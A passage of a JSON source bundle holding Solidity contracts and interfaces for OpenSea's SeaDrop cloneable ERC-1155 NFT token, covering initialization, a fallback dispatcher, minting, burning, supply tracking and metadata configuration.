{{ "language": "Solidity", "sources": { "src/clones/ERC1155SeaDropCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n" }, "src/clones/ERC1155SeaDropContractOffererCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n" }, "src/interfaces/IERC1155SeaDrop.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n" }, "src/interfaces/ISeaDropToken.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n" }, "src/clones/ERC1155ContractMetadataCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n" }, 